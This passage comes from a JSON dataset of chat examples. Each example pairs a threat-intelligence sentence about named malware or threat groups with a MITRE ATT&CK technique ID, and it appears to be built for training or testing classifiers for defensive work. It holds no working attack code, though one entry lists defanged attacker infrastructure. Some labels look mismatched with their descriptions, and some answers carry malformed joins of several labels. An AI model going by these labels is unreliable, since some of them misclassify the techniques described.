        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  installer loads a DLL using rundll32."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can retrieve and execute additional  payloads from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang has performed frequent and scheduled data collection from victim networks."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay has included a rootkit to evade defenses."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The last type of shellcode is a Cobalt Strike stager. We have confirmed the use of several different Cobalt Strike stager shellcodes since October 2019. In addition, some of the observed Cobalt Strike stager samples included a setting in the HTTP header of their malicious communications to disguise them as common jQuery request in order to evade detection by security products."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has hosted open-source remote access Trojans used in its operations in GitHub."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SynAck gathers user names from infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has studied publicly available information about a targeted organization to tailor spearphishing efforts against specific departments and/or individuals."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In our tests, running Valak from a U.S. location on a vulnerable Windows 10 host returned a banking Trojan called IcedID as the follow-up malware. In one case, we saw both IcedID and NetSupport Manager RAT-based malware delivered as follow-up malware on a Windows 7 host from June 2020"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo had used AutoIt to load and execute the DLL payload."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT40 uses a mix of custom and publicly available credential harvesting tools to escalate privileges and dump password hashes"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping', 'T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GravityRAT steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Felismus collects the victim LAN IP address and sends it to the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium can use HTTP/S in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used malware that can collect the victim’s OS version and machine name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sakula also leverages single-byte XOR encoding to obfuscate various strings and files embedded in the resource section, which are subsequently used for User Account Control (UAC) bypass on both 32 and 64-bit systems. Analysis . CTU researchers performed detailed analysis on 346 Sakula samples, including the installer and all dropped files used by the malware to run. Source: Dell SecureWorks) . Installation . In most of the samples collected by the CTU research team, Sakula maintains persistence by setting the registry Run key (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\) in either the HKLM or HKCU hive. In the samples compiled in 2014, the adversary switched to adding the Run key by invoking cmd.exe: The registry value and filename vary by sample. Three of the analyzed samples placed files in %APPDATA%, while the remaining Sakula samples placed files in a directory under %ALLUSERSPROFILE%. A small number of samples did not use an additional subdirectory. The msi.dll file is configured to read and XOR-decode setup.msi, also located in the same directory, and run it in memory. Based on whether the compromised system is 32-bit or 64-bit, the appropriate file is written and run using cmd.exe calling rundll32 on the DLL with the PlayWin32 or PlayWin64 export. Center509671.dat). In a small group of Sakula samples from 2013, the install process also modified the hosts file to point some of the victim's subdomains to various IP addresses within the victim's own organization. The malware also registered a file as a command component within the registry. In the Sakula samples where the install process performed cleanup, the malware invoked cmd.exe"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke has compiled malware, delivered to victims as .c files, with the GNU Compiler Collection (GCC)."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has disabled \"iptables\"."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher uses token manipulation with NtFilterToken as part of UAC bypass."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As with campaigns attributed to BlackEnergy group the attackers used spearphishing emails with Microsoft Excel documents attached that contain malicious macros as an initial infection vector. This time malicious documents don’t have any content with social engineering directing potential victims to click an Enable Content button"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHUTTERSPEED can download and execute an arbitary executable."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence Mechanism Figure 3 shows that for persistence, the document creates two scheduled tasks and creates one auto-start registry entry pointing to the LNK file"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The recipient clicked the link and proceeded to download and open a malicious HTML executable file, which in turn loaded content from a C&amp;C server via an embedded iframe"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "15 Database dump Decoded, it reveals a detailed log of each affected machine"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GeminiDuke collects information on running processes and environment variables from the victim."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TYPEFRAME can install encrypted configuration data under the Registry key \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Applications\\laxhost.dll\" and \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PrintConfigs\"."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Azorult uses an XOR key to decrypt content and uses Base64 to decode the C2 address."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 created accounts on victims, including administrator accounts, some of which appeared to be tailored to each individual staging target."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one sample we analyzed, the zip file contains a VBS file named NUM_56960.vbs. The size of the file is around 30MB. The large file size helps it evade detection, as file scanners usually skip scanning huge files for performance reasons. This VBS file then downloads the malicious executable file PaintHelper.exe"
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie has the ability to list processes on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot can encrypt and pack malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses cmd.exe to run commands for enumerating the host."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The function of this tool is to set up a TCP listener on a localhost, receive encoded data via requests from the SodomNormal localhost module, and to forward this data to the command and control IP via HTTP. The GUP Proxy Tool has a hardcoded configuration which is included as both strings and integers"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Keydnap prompts the users for credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InnaputRAT gathers volume drive information and system information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MCMD can use HTTPS in communication with C2 web servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro then creates a scheduled task named SecurityAssist that runs after waiting one minute. OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leverages valid accounts after gaining credentials for use within the victim domain."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT has collected the computer name and OS version from victim machines."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has used SSH to connect back to victim machines. TeamTNT has also used SSH to transfer tools and payloads onto victim hosts and execute them."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has used VMProtect to pack and protect files."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volgmer checks the system for certain Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has exploited the Office vulnerability CVE-2017-0199 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool. The earliest malware sample we were able to collect had a compile timestamp in May 2016. The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Installs UnionCryptoTrader in folder /Applications/UnionCryptoTrader.app/Contents/MacOS/ - Installs .unioncryptoupdater in folder /Applications/UnionCryptoTrader.app/Contents/Resources/ Note: the leading “.” makes it unlisted in the Finder app or default Terminal directory listing - Note: the leading “.” makes it unlisted in the Finder app or default Terminal directory listing - Executes a postinstall script Moves .vip.unioncrypto.plist to folder LaunchDaemons Changes the file permissions on the plist to Root Runs unioncryptoupdater Moves .unioncryptoupdater to folder /Library/UnionCrypto/unioncryptoupdater Makes .unioncryptoupdater executable - Moves .vip.unioncrypto.plist to folder LaunchDaemons - Changes the file permissions on the plist to Root - Runs unioncryptoupdater - Moves .unioncryptoupdater to folder /Library/UnionCrypto/unioncryptoupdater - Makes .unioncryptoupdater executable"
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The VBScript in turn runs rundll32.exe, activating the Cobalt Strike DLL (step #5) using a clean parent/child process tree completely disconnected from the SolarWinds process. Finally, the VBScript removes the previously created IFEO value to clean up any traces of execution (step #6) and also deletes the following registry keys related to HTTP proxy"
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ccf32 has created a hidden directory on targeted systems, naming it after the current local time (year, month, and day)."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon is a modular backdoor where each module is a single DLL exporting a function called IntelLoader and is loaded using a reflective loading technique. Each module exhibits different functionalities that are shown in Table 2"
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FruitFly executes and stores obfuscated Perl scripts."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT33 has used HTTP over TCP ports 808 and 880 for command and control."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Felismus can download files from remote servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Config.json\" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called \"XbashY\" from 3g2upl4pq6kufc4m[.]tk. TermsHost.exe\" is a PE32 Monero miner. Based on the config file it uses, it appears to be the Monero Silent Miner. This miner can be purchased online for $14 and targets malicious actors. Advertising for the miner promotes it as offering startup registry key persistence, mining only while idle, and the ability to inject the miner into \"Windows processes to bypass firewalls. The sample grabs the config file \"xmr.txt,\" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. The sample also creates the UPX-packed file \"dDNLQrsBUE.url\" in the Windows Start Menu Folder. Intriguingly, this file appears to share some similarities with Cobalt Strike, the popular penetration testing software, which would allow the attacker to have greater control over the infected system"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This dynamic link library appears to be a legitimate version of libcurl.dll except for a single exported function, which is referred to as ordinal #52 and curl_share_init in the analyzed sample. This function has been modified by threat actors to extract a resource contained within libcurl.dll, decrypt malicious data included in that resource, and load the resulting DLL to execute a malicious function. When this function is executed, the SodomNormal communications module begins running within Libcurl.dll"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Systeminfo can be used to gather information about the operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can establish persistence by adding a Scheduled Task named \"Microsoft Boost Kernel Optimization\"."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windows Defender ATP displays these activities as process trees in a machine timeline for the infected computer. Analysts can easily extract detailed information from these trees, such as the implant DLL dropped by the installer, the command used to call rundll32.exe and load the DLL, and the registry modifications that set the DLL as a service"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Proton kills security tools like Wireshark that are running."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic uses the \"tasklist /v\" command to obtain a list of processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ESET researchers have dissected some of the latest additions to the malicious toolkit of the Advanced Persistent Threat (APT) group known as OceanLotus, also dubbed APT32 and APT-C-00"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Explosive has collected the MAC address from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NanHaiShu collects the username from the victim."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lokibot is delivered via a malicious XLS attachment contained within a spearhpishing email."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Prior to executing fully, Karagany uses a robust anti-VM detection function that can detect most commonly used virtualization platforms such as VMWare, VirtualBox, VPC, and generic virtualization techniques. Only the VMWare and VirtualBox checks retained, mainly based on loaded drivers and file paths. This change dramatically reduced the file size of the malware"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson contains a command to collect the victim MAC address and LAN IP."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ADVSTORESHELL collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE BUTLER uses the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used malicious e-mail attachments to lure victims into executing malware."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
